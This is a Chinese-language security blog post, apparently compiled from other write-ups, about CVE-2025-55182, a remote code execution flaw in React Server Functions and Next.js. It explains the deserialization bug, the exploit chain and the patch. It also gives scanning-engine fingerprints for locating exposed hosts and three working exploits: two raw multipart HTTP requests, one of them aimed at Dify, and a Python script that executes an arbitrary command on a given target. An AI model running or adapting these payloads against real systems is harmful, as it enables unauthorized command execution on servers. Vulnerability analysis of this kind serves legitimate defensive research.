1. 杨CC有话说

文章来源于:互联网,并且此文章为多个文章整合,收其精华,去其糟粕,取其真理,去其谬误,取其善良.
如有侵权,请联系本人删除

2. 详情和POC

CVE-2025-55182

此漏洞允许在 React Server Functions 中实现远程代码执行(RCE),例如通过不安全的原型引用在 Next.js 中提供的功能。

我不是 React 或 Next.js 的专家,所以请对这里的信息持保留态度。此外,我仍在分析过程中,所以下面描述的”漏洞”可能只是整个攻击链的一小部分。

背景

React 提供了 Server Functions^1,可以看作是一种基于 HTTP 的 RPC(远程过程调用)。它们可以用于从相邻节点获取数据以确保低延迟,或执行客户端缺乏凭据的身份验证请求。

React 使用称为 React Flight Protocol^2 的协议来序列化传递给 Server Functions 的值。

客户端将”块”传递给服务器,例如通过表单数据:

1
2
3
4
5
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}

如上所示,这些块之间可以相互引用。上述载荷在服务器上反序列化为:

1
{ object: 'fruit', name: 'cherry' }

格式本身稍微复杂一些,允许更复杂的序列化和反序列化,但这为理解实际漏洞提供了基础。

漏洞

在此提交^3之前,在引用解析过程中遍历块时(例如从上面示例中的块 2 获取 fruitName),React 不会验证请求的键是否实际设置在对象上。这使我们能够获取对象原型^4

可以通过如下载荷演示:

1
2
3
4
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}

这反序列化为函数构造函数^5

1
[Function: Function]

当 ID 为 0 的块不是数组而是对象时,我们可以将 then 键设置为函数构造函数。然后该对象由 decodeReplyFromBusboy 函数返回,并由 Next.js 等待:

1
2
3
4
5
6
// action-handler.ts:888 (补丁前)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)

当这返回一个 thenable 时,调用者中的 await 将调用它。使用此载荷时会发生以下情况:

1
2
3
4
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}

导致此错误:

1
2
3
4
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}

错误看起来是这样的,因为 V8 使用内部的 resolvereject 函数调用被 await 的函数,当 toString 时,它们序列化为类似这样的内容:

1
function () { [native code] }

利用

由于我们可以轻松获取 Function 构造函数,直接的方法是找到一个调用小工具,该工具使用用户控制的值(即作为字符串的函数代码)调用构造函数,然后调用返回的函数。

有多个地方可以调用函数构造函数,例如 resolveServerReference,其中 id 是受控对象,lastIndexOf 可以被覆盖以返回用户控制的字符串(例如通过 Array.prototype.join),slice 可以被覆盖为函数构造函数。然而,这个地方不起作用,因为 .slice() 的第二次调用提供数字作为第一个参数,据我所知,这永远无法被函数构造函数处理。

这时,maple3142^6 的一个绝妙想法出现了。当 getChunk 获取 ID 为 0 的块作为开始解析引用链的根引用时,这个相同的块可以解析为一个精心制作的”假块”。

我们可以通过使用 $@ 语法在块 1 中引用精心制作的块 0,该语法返回”原始”块,而不是其解析后的值:

1
2
3
4
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);

将此与我们上面的 then 覆盖结合,我们可以制作如下内容:

1
2
3
4
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}

这里,块 0 用其原始块表示的 .then() 覆盖自己的 .then()。简而言之,我们用自己的 Chunk.prototype.then 覆盖自己的 .then(),这是存在的,因为 Chunks 是 thenables:

1
2
3
4
5
6
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...

使用上述载荷,Chunk.prototype.then 最终被 ID 为 0 的精心制作的块调用。

如上所示,当我们假块上的 .statusresolved_model 时:

1
2
3
4
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}

我们进入 initializeModelChunk。这里,.value 被解析为 JSON,然后在返回的对象上解析引用,使用 ID 为 0 和 1 的块的”外部”上下文:

1
2
3
4
5
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...

在此过程中,由于外部上下文已经解析,我们现在获得了第二次评估,可以访问更多值。

在 flight 协议中处理带有 $B 前缀的 blob 数据时有一个调用小工具:

1
2
3
4
5
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);

使用特殊的 _response 字段,我们控制精心制作块的 response 属性:

1
2
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

有了这个,我们可以制作一个具有假 ._formData._prefix 属性的对象:

1
2
3
4
5
6
7
8
9
10
11
12
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}

需要添加 .reason 以避免在 initializeModelChunk 中的 toString 调用失败:

1
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

通过将 ._formData 指向函数构造函数,._prefix 指向我们的代码,我们在 blob 反序列化中获得了一个函数构造函数的调用小工具:

1
2
3
response._formData.get(response._prefix + "0")
// 变成
Function("return foo; // 0")

我们精心制作的函数随后由 parseModelString 作为精心制作块的 .then() 方法返回,这也是被等待的,因为所有这些都发生在单个 promise 解析链中。因此,返回一个 thenable,我们精心制作的函数被调用。这构成了上面引用的所需调用小工具。

将所有这些与实际的 RCE 载荷结合起来,我们得到如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
# "reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}

files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}

使这个漏洞更糟糕的额外好处是,所有这些都发生在反序列化期间,在 getActionModIdOrError 中首次验证请求的操作之前。因此,设置像 Next-Action: foo 这样的头就足以触发漏洞。

补丁

使用块引用检索原型属性通过此检查修复:

1
2
3
4
5
6
7
8
9
10
@@ -78,7 +80,10 @@ export function preloadModule<T>(

export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}

指纹(可以在fofa\sadang\shodan\zoomeye\google等测绘平台搜索使用)

app=”Next.js” && body=”/_next/static/chunks/app/“body=”react.production.min.js” || body=”React.createElement(“ || app=”React.js” || app=”Dify”

POC板块

原始poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /apps HTTP/1.1

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length565
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3SadContent-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

dify的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /apps HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: keep-alive
Content-Length: 710
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
X-Nextjs-Html-Request-Id: lMx9dPL6FzXWOlwazZgjx
X-Nextjs-Request-Id: bafo0gfl
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('x'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

python poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "calc"

crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}

files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

nuclei的yaml格式poc

如果需要下载nuclei的yaml格式poc,可以在:杨CC资源站中,渗透工具 - POC\EXP板块中找到下载链接.

影响范围

  • 15.0.x → 15.0.5
  • 15.1.x → 15.1.9
  • 15.2.x → 15.2.6
  • 15.3.x → 15.3.6
  • 15.4.x → 15.4.8
  • 15.5.x → 15.5.7
  • 16.0.x → 16.0.7若使用14.3.0-canary.77或更高canary版本,建议降级到14.x稳定版

结束语

  • CTRl+D 将本网站:ycc77.com添加到书签栏哦~
  • 需要资源,记得将ycc77.cn 添加到书签栏哦~
  • QQ交流群:660264846(满)
  • QQ交流群2:721170435
  • B站: 疯狂的杨CC
  • 抖音: 疯狂的杨CC
  • 快手: 疯狂的杨CC
  • 公众号:SGY安全
  • 91: 疯狂的杨CC
  • p站: 疯狂的杨CC